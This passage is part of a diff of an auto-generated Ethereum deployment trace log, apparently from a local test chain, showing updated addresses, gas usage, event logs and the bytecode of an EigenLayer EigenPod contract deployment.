@@ -2732,18 +2353,18 @@ "trace": { "depth": 2, "success": true, - "caller": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", - "address": "0x9a676e781a523b5d0c0e43731313a708cb607508", + "caller": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0x1794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000", + "data": "0x019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512", "output": "0x", - "gas_used": 98133, - "gas_limit": 147028, + "gas_used": 99364, + "gas_limit": 148850, "status": "Stop", "steps": [], "decoded": { @@ -2756,10 +2377,9 @@ { "raw_log": { "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000" }, "decoded": { "name": null, @@ -2770,9 +2390,9 @@ { "raw_log": { "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000" }, "decoded": { "name": null, @@ -2783,11 +2403,23 @@ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, "decoded": { "name": null, @@ -2821,30 +2453,47 @@ }, { "Log": 3 + }, + { + "Log": 4 } ] } ], "exit": "Stop", "out": "0x", - "nonce": 22, - "gas_used": 140412 + "nonce": 29, + "gas_used": 142119 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x2247c", + "cumulativeGasUsed": "0x22b27", "logs": [ { - "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508" + "0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f" ], "data": "0x" }, { - "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452" + ], + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "topics": [ "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" @@ -2852,41 +2501,32 @@ "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, { - "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "topics": [ "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, { - "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", - "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" - ], - "data": "0x" - }, - { - "address": "0x5fc8d32690cc91d4c39d9d3abcbd16989f875707", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "topics": [ "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000000000000000000000400080000000000400000002000001000240000000000000000000000000000000020000000000000100800800000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000001000020000000000000000000000000000000000000000000000000000000000000400000" + "logsBloom": "0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000" }, - "block_hash": "0xfd37e91c70fb8db2a78606dea4b34a09d4778acdde9f66ed5e2e542cfa1ec7da", - "block_number": 14 + "block_hash": "0x8aa0904c878d1b06916d71fd7087ff1a672bcf725fc781d577775980b707280c", + "block_number": 19 }, { "info": { - "transaction_hash": "0x90f4d6d687fdeeb70ae24526214e277bc35de59aad3771f8613c843ab92031f6", + "transaction_hash": "0x7b2ad9854eb247aabf66341463e3cce73d6236a6016d1af453b6abddb1289e37", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x610178da211fef7d417bc0e6fed39f05609ad788", + "contract_address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", "traces": [ { "parent": null, @@ -2896,17 +2536,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x610178da211fef7d417bc0e6fed39f05609ad788", + "address": "0x68b1d87f95878fe05b998f19b66f4baba5de1aed", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x61012060405234801561001157600080fd5b50604051615f0f380380615f0f83398101604081905261003091610163565b6001600160a01b0380861660805284811660a052831660c0526001600160401b0380831660e05281166101005261006561006f565b50505050506101d0565b600054610100900460ff16156100db5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561012d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461014457600080fd5b50565b80516001600160401b038116811461015e57600080fd5b919050565b600080600080600060a0868803121561017b57600080fd5b85516101868161012f565b60208701519095506101978161012f565b60408701519094506101a88161012f565b92506101b660608701610147565b91506101c460808701610147565b90509295509295909350565b60805160a05160c05160e05161010051615c456102ca600039600081816105b501528181612007015281816120be0152612116015260008181610275015281816125a7015281816125db01528181612c0701528181612c340152818161437a01526143b501526000818161036d01528181610614015281816107a701528181610aef01528181610c3a01528181610dc201528181610f7d0152818161115e0152818161128801528181611459015281816118a601528181611a4401528181611b8301528181611d4501528181611e2f015261312a015260008181610241015261339c0152600081816104520152610e8d0152615c456000f3fe6080604052600436106101855760003560e01c806374cdd798116100d1578063c49074421161008a578063e251ef5211610064578063e251ef5214610563578063e2c8344514610583578063f2882461146105a3578063fe80b087146105d757600080fd5b8063c490744214610503578063c4d66de814610523578063dda3346c1461054357600080fd5b806374cdd7981461044057806387e0d289146104745780639b4e46341461049b578063a50600f4146104ae578063b522538a146104ce578063baa7145a146104ee57600080fd5b806334bea20a1161013e57806358eaee791161011857806358eaee791461038f5780635d3f65b6146103bc5780636fcd0e53146103dc5780637439841f1461040957600080fd5b806334bea20a146103005780633f65cf191461033b5780634665bcda1461035b57600080fd5b80630b18ff66146101db5780630cd4649e146102185780631a5057be1461022f5780631d905d5c146102635780633106ab53146102af5780633474aa16146102e057600080fd5b366101d657346037600082825461019c9190614c64565b90915550506040513481527f6fdd3dbdb173299608c0aa9f368735857c8842b581f8389238bf05bd04b3bf499060200160405180910390a1005b600080fd5b3480156101e757600080fd5b506033546101fb906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561022457600080fd5b5061022d6105fb565b005b34801561023b57600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561026f57600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160401b03909116815260200161020f565b3480156102bb57600080fd5b506034546102d090600160401b900460ff1681565b604051901515815260200161020f565b3480156102ec57600080fd5b50603454610297906001600160401b031681565b34801561030c57600080fd5b506102d061031b366004614c9c565b603560209081526000928352604080842090915290825290205460ff1681565b34801561034757600080fd5b5061022d610356366004614d2f565b610764565b34801561036757600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561039b57600080fd5b506103af6103aa366004614e50565b610ca5565b60405161020f9190614ec9565b3480156103c857600080fd5b50603854610297906001600160401b031681565b3480156103e857600080fd5b506103fc6103f7366004614ed7565b610d0a565b60405161020f9190614ef0565b34801561041557600080fd5b506103af610424366004614ed7565b600090815260366020526040902054600160c01b900460ff1690565b34801561044c57600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561048057600080fd5b5060335461029790600160a01b90046001600160401b031681565b61022d6104a9366004614f44565b610db7565b3480156104ba57600080fd5b5061022d6104c9366004614fbb565b610f64565b3480156104da57600080fd5b506103fc6104e9366004614e50565b6112f0565b3480156104fa57600080fd5b5061022d6113e3565b34801561050f57600080fd5b5061022d61051e366004615070565b61144e565b34801561052f57600080fd5b5061022d61053e36600461509c565b61168b565b34801561054f57600080fd5b5061022d61055e3660046151b8565b611863565b34801561056f57600080fd5b5061022d61057e366004615291565b611a2c565b34801561058f57600080fd5b5061022d61059e366004615070565b611dec565b3480156105af57600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b3480156105e357600080fd5b506105ed60375481565b60405190815260200161020f565b604051635ac86ab760e01b8152600260048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906153a2565b156106ad5760405162461bcd60e51b81526004016106a4906153c4565b60405180910390fd5b6033546001600160a01b031633146106d75760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156107015760405162461bcd60e51b81526004016106a490615469565b6034805460ff60401b1916600160401b179055603354610729906001600160a01b0316611fcf565b6033546040516001600160a01b03909116907fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a250565b6033546001600160a01b0316331461078e5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600260048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906153a2565b156108375760405162461bcd60e51b81526004016106a4906153c4565b603454600160401b900460ff166108af5760405162461bcd60e51b815260206004820152603660248201527f456967656e506f642e686173456e61626c656452657374616b696e673a2072656044820152751cdd185ada5b99c81a5cc81b9bdd08195b98589b195960521b60648201526084016106a4565b85841480156108bd57508382145b61094d5760405162461bcd60e51b815260206004820152605560248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a2076616c696461746f72496e646963657320616e642070726f6f666064820152740e640daeae6e840c4ca40e6c2daca40d8cadccee8d605b1b608482015260a4016106a4565b603354600160a01b90046001600160401b031615806109a2575060335461098c9061098790600160a01b90046001600160401b0316612003565b6120ed565b6001600160401b0316896001600160401b031610155b610a2e5760405162461bcd60e51b815260206004820152605160248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a2070726f6f66206d75737420626520696e207468652065706f63686064820152701030b33a32b91030b1ba34bb30ba34b7b760791b608482015260a4016106a4565b42610a44613f486001600160401b038c16614c64565b1015610acd5760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a207370656369666965642074696d657374616d7020697320746f6f60648201526b0819985c881a5b881c185cdd60a21b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a166004820152610b76907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063d1c64cc990602401602060405180830381865afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6291906154b8565b8935610b7160208c018c6154d1565b61213a565b6000805b87811015610c1057610bfc8b8b358b8b85818110610b9a57610b9a615517565b9050602002016020810190610baf919061552d565b8a8a86818110610bc157610bc1615517565b9050602002810190610bd391906154d1565b8a8a88818110610be557610be5615517565b9050602002810190610bf79190615554565b6122c8565b610c069083614c64565b9150600101610b7a565b5060335460405163030b147160e61b81526001600160a01b039182166004820152602481018390527f00000000000000000000000000000000000000000000000000000000000000009091169063c2c51c40906044015b600060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b5050505050505050505050505050565b600080610ce784848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b600090815260366020526040902054600160c01b900460ff169150505b92915050565b610d326040805160808101825260008082526020820181905291810182905290606082015290565b600082815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b810490931693810193909352906060830190600160c01b900460ff166002811115610d9d57610d9d614e91565b6002811115610dae57610dae614e91565b90525092915050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610dff5760405162461bcd60e51b81526004016106a49061559d565b346801bc16d674ec80000014610e8b5760405162461bcd60e51b8152602060048201526044602482018190527f456967656e506f642e7374616b653a206d75737420696e697469616c6c792073908201527f74616b6520666f7220616e792076616c696461746f72207769746820333220656064820152633a3432b960e11b608482015260a4016106a4565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663228951186801bc16d674ec8000008787610ece61287c565b8888886040518863ffffffff1660e01b8152600401610ef296959493929190615667565b6000604051808303818588803b158015610f0b57600080fd5b505af1158015610f1f573d6000803e3d6000fd5b50505050507f606865b7934a25d4aed43f6cdb426403353fa4b3009c4d228407474581b01e238585604051610f559291906156b6565b60405180910390a15050505050565b604051635ac86ab760e01b8152600360048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015610fcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff091906153a2565b1561100d5760405162461bcd60e51b81526004016106a4906153c4565b868414801561101b57508382145b6110a45760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207660448201527f616c696461746f72496e646963657320616e642070726f6f6673206d7573742060648201526d0c4ca40e6c2daca40d8cadccee8d60931b608482015260a4016106a4565b426110ba613f486001600160401b038c16614c64565b101561113c5760405162461bcd60e51b815260206004820152604560248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207360448201527f70656369666965642074696d657374616d7020697320746f6f2066617220696e606482015264081c185cdd60da1b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a1660048201526111e0907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063d1c64cc990602401602060405180830381865afa1580156111ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d191906154b8565b8735610b7160208a018a6154d1565b6000805b8881101561127a576112668b8b8b8481811061120257611202615517565b9050602002016020810190611217919061552d565b8a358a8a8681811061122b5761122b615517565b905060200281019061123d91906154d1565b8a8a8881811061124f5761124f615517565b90506020028101906112619190615554565b6128c1565b61127090836156ca565b91506001016111e4565b506033546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169163c2c51c4091166112bf633b9aca00856156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401610c67565b6113186040805160808101825260008082526020820181905291810182905290606082015290565b6036600061135b85858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b81526020808201929092526040908101600020815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b81049094169281019290925290916060830190600160c01b900460ff1660028111156113c8576113c8614e91565b60028111156113d9576113d9614e91565b9052509392505050565b6033546001600160a01b0316331461140d5760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156114375760405162461bcd60e51b81526004016106a490615469565b60335461144c906001600160a01b0316611fcf565b565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114965760405162461bcd60e51b81526004016106a49061559d565b6114a4633b9aca0082615738565b1561152e5760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74576569206d75737420626520612077686f60648201526d1b194811ddd95a48185b5bdd5b9d60921b608482015260a4016106a4565b600061153e633b9aca008361574c565b6034549091506001600160401b0390811690821611156115f75760405162461bcd60e51b815260206004820152606260248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74477765692065786365656473207769746860648201527f6472617761626c6552657374616b6564457865637574696f6e4c617965724777608482015261656960f01b60a482015260c4016106a4565b603480548291906000906116159084906001600160401b0316615760565b92506101000a8154816001600160401b0302191690836001600160401b03160217905550826001600160a01b03167f8947fd2ce07ef9cc302c4e8f0461015615d91ce851564839e91cc804c2f49d8e8360405161167491815260200190565b60405180910390a26116868383612d9f565b505050565b600054610100900460ff16158080156116ab5750600054600160ff909116105b806116c55750303b1580156116c5575060005460ff166001145b6117285760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016106a4565b6000805460ff19166001179055801561174b576000805461ff0019166101001790555b6001600160a01b0382166117be5760405162461bcd60e51b815260206004820152603460248201527f456967656e506f642e696e697469616c697a653a20706f644f776e65722063616044820152736e6e6f74206265207a65726f206164647265737360601b60648201526084016106a4565b603380546001600160a01b0384166001600160a01b031990911681179091556034805460ff60401b1916600160401b1790556040517fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a2801561185f576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b6033546001600160a01b0316331461188d5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa1580156118f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191991906153a2565b156119365760405162461bcd60e51b81526004016106a4906153c4565b82518451146119c15760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e7265636f766572546f6b656e733a20746f6b656e4c697360448201527f7420616e6420616d6f756e7473546f5769746864726177206d7573742062652060648201526a0e6c2daca40d8cadccee8d60ab1b608482015260a4016106a4565b60005b8451811015611a2557611a1d838583815181106119e3576119e3615517565b60200260200101518784815181106119fd576119fd615517565b60200260200101516001600160a01b0316612da99092919063ffffffff16565b6001016119c4565b5050505050565b604051635ac86ab760e01b81526004808201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015611a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab791906153a2565b15611ad45760405162461bcd60e51b81526004016106a4906153c4565b8386148015611ae257508588145b8015611aed57508782145b611b61576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f642e766572696679416e6450726f636573735769746864726160448201527f77616c733a20696e70757473206d7573742062652073616d65206c656e67746860648201526084016106a4565b60405163d1c64cc960e01b81526001600160401b038c166004820152611c05907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063d1c64cc990602401602060405180830381865afa158015611bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf691906154b8565b8b35610b7160208e018e6154d1565b604080518082019091526000808252602082015260005b83811015611cfa576000611cc08d358d8d85818110611c3d57611c3d615517565b9050602002810190611c4f919061577f565b8c8c86818110611c6157611c61615517565b9050602002810190611c7391906154d1565b8c8c88818110611c8557611c85615517565b9050602002810190611c979190615554565b8c8c8a818110611ca957611ca9615517565b9050602002810190611cbb9190615554565b612dfb565b80518451919250908490611cd5908390614c64565b9052506020808201519084018051611cee9083906156ca565b90525050600101611c1c565b50805115611d29576033548151611d29916001600160a01b031690611d2490633b9aca00906157a0565b613372565b602081015115611dde5760335460208201516001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169263c2c51c4092911690611d7f90633b9aca00906156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015611dc557600080fd5b505af1158015611dd9573d6000803e3d6000fd5b505050505b505050505050505050505050565b6033546001600160a01b03163314611e165760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015611e7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea291906153a2565b15611ebf5760405162461bcd60e51b81526004016106a4906153c4565b603754821115611f705760405162461bcd60e51b815260206004820152606a60248201527f456967656e506f642e77697468647261776e6f6e426561636f6e436861696e4560448201527f544842616c616e63655765693a20616d6f756e74546f5769746864726177206960648201527f732067726561746572207468616e206e6f6e426561636f6e436861696e45544860848201526942616c616e636557656960b01b60a482015260c4016106a4565b8160376000828254611f8291906157b7565b90915550506040518281526001600160a01b038416907f30420aacd028abb3c1fd03aba253ae725d6ddd52d16c9ac4cb5742cd43f530969060200160405180910390a26116868383613372565b6033805467ffffffffffffffff60a01b19164263ffffffff16600160a01b0217905560006037556120008147613372565b50565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160401b0316826001600160401b031610156120ad5760405162461bcd60e51b815260206004820152603760248201527f456967656e506f642e5f74696d657374616d70546f45706f63683a2074696d6560448201527f7374616d70206973206265666f72652067656e6573697300000000000000000060648201526084016106a4565b6120b9600c60206157ca565b6120e37f000000000000000000000000000000000000000000000000000000000000000084615760565b610d0491906157ec565b60006120fb600c60206157ca565b61210683600161581a565b61211091906157ca565b610d04907f000000000000000000000000000000000000000000000000000000000000000061581a565b612146600360206157a0565b81146121d65760405162461bcd60e51b815260206004820152605360248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a2050726f6f6620686064820152720c2e640d2dcc6dee4e4cac6e840d8cadccee8d606b1b608482015260a4016106a4565b61221b82828080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525088925087915060039050613400565b6122c25760405162461bcd60e51b815260206004820152606660248201527f426561636f6e436861696e50726f6f66732e7665726966795374617465526f6f60448201527f74416761696e73744c6174657374426c6f636b526f6f743a20496e76616c696460648201527f206c617465737420626c6f636b2068656164657220726f6f74206d65726b6c6560848201526510383937b7b360d11b60a482015260c4016106a4565b50505050565b60008061230784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff16600281111561237657612376614e91565b600281111561238757612387614e91565b90525090506000816060015160028111156123a4576123a4614e91565b1461244d5760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2056616c696461746f72206d757374206265206960648201527f6e61637469766520746f2070726f7665207769746864726177616c2063726564608482015266656e7469616c7360c81b60a482015260c4016106a4565b61245561287c565b61245e90615839565b61249a86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061343c92505050565b146125215760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e766572696679436f72726563745769746864726177616c60448201527f43726564656e7469616c733a2050726f6f66206973206e6f7420666f7220746860648201526a1a5cc8115a59d95b941bd960aa1b608482015260a4016106a4565b600061255f86868080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b905061256f8a87878b8b8e613476565b6039805490600061257f8361585d565b90915550506001606083015264ffffffffff891682526001600160401b038b811660408401527f000000000000000000000000000000000000000000000000000000000000000081169082161115612605576001600160401b037f0000000000000000000000000000000000000000000000000000000000000000166020830152612615565b6001600160401b03811660208301525b6000838152603660209081526040918290208451815492860151938601516001600160401b03908116600160801b0267ffffffffffffffff60801b19958216600160401b026001600160801b0319909516919092161792909217928316821781556060850151859391929091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b8360028111156126b3576126b3614e91565b02179055505060405164ffffffffff8b1681527f2d0800bbc377ea54a08c5db6a87aafff5e3e9c8fead0eda110e40e0c10441449915060200160405180910390a17f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df898c846020015160405161274e9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1633b9aca0082602001516001600160401b031661277391906157a0565b9b9a5050505050505050505050565b6000815160301461280b5760405162461bcd60e51b815260206004820152604760248201527f456967656e506f642e5f63616c63756c61746556616c696461746f725075626b60448201527f657948617368206d75737420626520612034382d6279746520424c53207075626064820152666c6963206b657960c81b608482015260a4016106a4565b604051600290612822908490600090602001615876565b60408051601f198184030181529082905261283c916158a5565b602060405180830381855afa158015612859573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d0491906154b8565b60408051600160f81b60208201526000602182015230606090811b6bffffffffffffffffffffffff1916602c8301529101604051602081830303815290604052905090565b60008061290084848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061345192505050565b9050600061294085858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525061341892505050565b6000818152603660209081526040808320815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b8104909416928101929092529394509192906060830190600160c01b900460ff1660028111156129af576129af614e91565b60028111156129c0576129c0614e91565b8152505090508a6001600160401b031681604001516001600160401b031610612a775760405162461bcd60e51b815260206004820152605c60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20566160448201527f6c696461746f72732062616c616e63652068617320616c72656164792062656560648201527f6e207570646174656420666f7220746869732074696d657374616d7000000000608482015260a4016106a4565b600181606001516002811115612a8f57612a8f614e91565b14612af75760405162461bcd60e51b815260206004820152603260248201527f456967656e506f642e76657269667942616c616e63655570646174653a2056616044820152716c696461746f72206e6f742061637469766560701b60648201526084016106a4565b612b008b612003565b6001600160401b0316612b458787808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506136cd92505050565b6001600160401b031611612be8576000836001600160401b031611612be85760405162461bcd60e51b815260206004820152604d60248201527f456967656e506f642e76657269667942616c616e63655570646174653a20766160448201527f6c696461746f7220697320776974686472617761626c6520627574206861732060648201526c3737ba103bb4ba34323930bbb760991b608482015260a4016106a4565b612bf68987878b8b8f613476565b602081015160006001600160401b037f000000000000000000000000000000000000000000000000000000000000000081169086161115612c5857507f0000000000000000000000000000000000000000000000000000000000000000612c5b565b50835b6001600160401b0380821660208086019182528f831660408088019182526000898152603690935290912086518154935192518516600160801b0267ffffffffffffffff60801b19938616600160401b026001600160801b031990951691909516179290921790811683178255606086015186939091839160ff60c01b191668ffffffffffffffffff60801b1990911617600160c01b836002811115612d0357612d03614e91565b0217905550905050816001600160401b0316816001600160401b031614612d8f577f0e5fac175b83177cc047381e030d8fb3b42b37bd1c025e22c280facad62c32df8c8e83604051612d7a9392919064ffffffffff9390931683526001600160401b03918216602084015216604082015260600190565b60405180910390a1612d8c81836136e5565b95505b5050505050979650505050505050565b61185f8282613704565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261168690849061381d565b6040805180820190915260008082526020820152612e20612e1b89615926565b6138ef565b6033546001600160401b03600160a01b90910481169082161015612ee25760405162461bcd60e51b815260206004820152606760248201527f456967656e506f642e70726f6f664973466f7256616c696454696d657374616d60448201527f703a20626561636f6e20636861696e2070726f6f66206d75737420626520617460648201527f206f72206166746572206d6f7374526563656e745769746864726177616c546960848201526606d657374616d760cc1b60a482015260c4016106a4565b6000612ef0612e1b8b615926565b90506000612f30888880806020026020016